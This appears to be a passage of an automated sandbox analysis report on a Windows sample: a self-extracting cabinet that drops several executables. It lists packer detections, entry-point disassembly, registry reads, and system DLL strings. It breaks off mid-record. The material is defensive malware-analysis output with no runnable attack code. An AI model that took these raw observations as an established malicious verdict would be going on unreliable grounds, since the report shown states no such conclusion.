"sfx" "5Pa4Mj0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5Pa4Mj0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5Pa4Mj0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5Pa4Mj0.exe" was detected as "Microsoft Linker" and name: "Linker" "2Pm6119.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Pm6119.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Pm6119.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Pm6119.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Pm6119.exe" was detected as "Microsoft Linker" and name: "Linker" "6tx9CA7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6tx9CA7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6tx9CA7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6tx9CA7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6tx9CA7.exe" was detected as "Microsoft Linker" and name: "Linker" "3qu90Pt.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3qu90Pt.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3qu90Pt.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3qu90Pt.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3qu90Pt.exe" was detected as "Microsoft Linker" and name: "Linker" "1fX89KT6.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1fX89KT6.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1fX89KT6.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1fX89KT6.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1fX89KT6.exe" was detected as "Microsoft Linker" and name: "Linker"37:T1cfb,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "VH4vX77.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "ro8sA21.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "DO2BB55.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "TK1xO34.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4HS096BX.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "5Pa4Mj0.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "2Pm6119.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "6tx9CA7.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418010,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x418014], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418010], eax,call 0x405000,mov eax, 0x417088,mov dword ptr [0x418034], eax,call 0x40de30,call 0x40dba1,call 0x40aaa0,call 0x40a329," "3qu90Pt.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4]," "1fX89KT6.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"38:T7d8,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "VH4vX77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "VH4vX77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ro8sA21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ro8sA21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "DO2BB55.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "DO2BB55.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "TK1xO34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "TK1xO34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1fX89KT6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1fX89KT6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1fX89KT6.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "1fX89KT6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2Pm6119.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2Pm6119.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3qu90Pt.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3qu90Pt.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4HS096BX.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4HS096BX.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4HS096BX.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")39:T1031,Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00005704-00000C2B-177722429] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00005704-00000BC1-177876580] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005648-00000BC1-178488611] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00005636-00000BC1-179245418] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00005660-00000BC1-179985255] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00005932-00000BC1-180143424] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005768-00000C2B-181426777] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005768-00000C2B-181736961] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005768-00000C2B-182190081] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005768-00000C2B-182348691] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005768-00000C2B-182818152] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005768-00000C2B-182985744] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005768-00000C2B-184111951] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00005768-00000C2B-184871472] Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00005636.00001604.670091.00050000.wprm] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005984-00000C2B-198264293] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00005984-00000C2B-199507640] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00005984-00000C2B-199688748] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00005984-00000C2B-200184902] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005984-00000C2B-200680973] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005984-00000C2B-200834017] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005984-00000C2B-200999506] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005984-00000C2B-201934200] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00005984-00000C2B-203234417] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll" [Source: 00000000-00005984-00000C2B-203431365]3a:T68f,"VH4vX77.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\VH4vX77.exe]- [targetUID: 00000000-00005648] "ro8sA21.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\ro8sA21.exe]- [targetUID: 00000000-00005636] "DO2BB55.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\DO2BB55.exe]- [targetUID: 00000000-00005636] "TK1xO34.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\TK1xO34.exe]- [targetUID: 00000000-00005932] "4HS096BX.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP002.TMP\4HS096BX.exe]- [targetUID: 00000000-00005636] "5Pa4Mj0.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5Pa4Mj0.exe]- [targetUID: 00000000-00005648] "2Pm6119.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2Pm6119.exe]- [targetUID: 00000000-00005932] "6tx9CA7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\6tx9CA7.exe]- [targetUID: 00000000-00005704] "3qu90Pt.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP003.TMP\3qu90Pt.exe]- [targetUID: 00000000-00005660] "1fX89KT6.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP004.TMP\1fX89KT6.exe]- [targetUID: 00000000-00005932]3b:Tb94,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")3c:T10d8,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "D14F3781A88172E83EE0797E6388A05C9A1CF8026CCAA0331C86AD8A72EC5775"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")3d:T551,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\vh4vx77.exe" "VH4vX77.exe" reads file 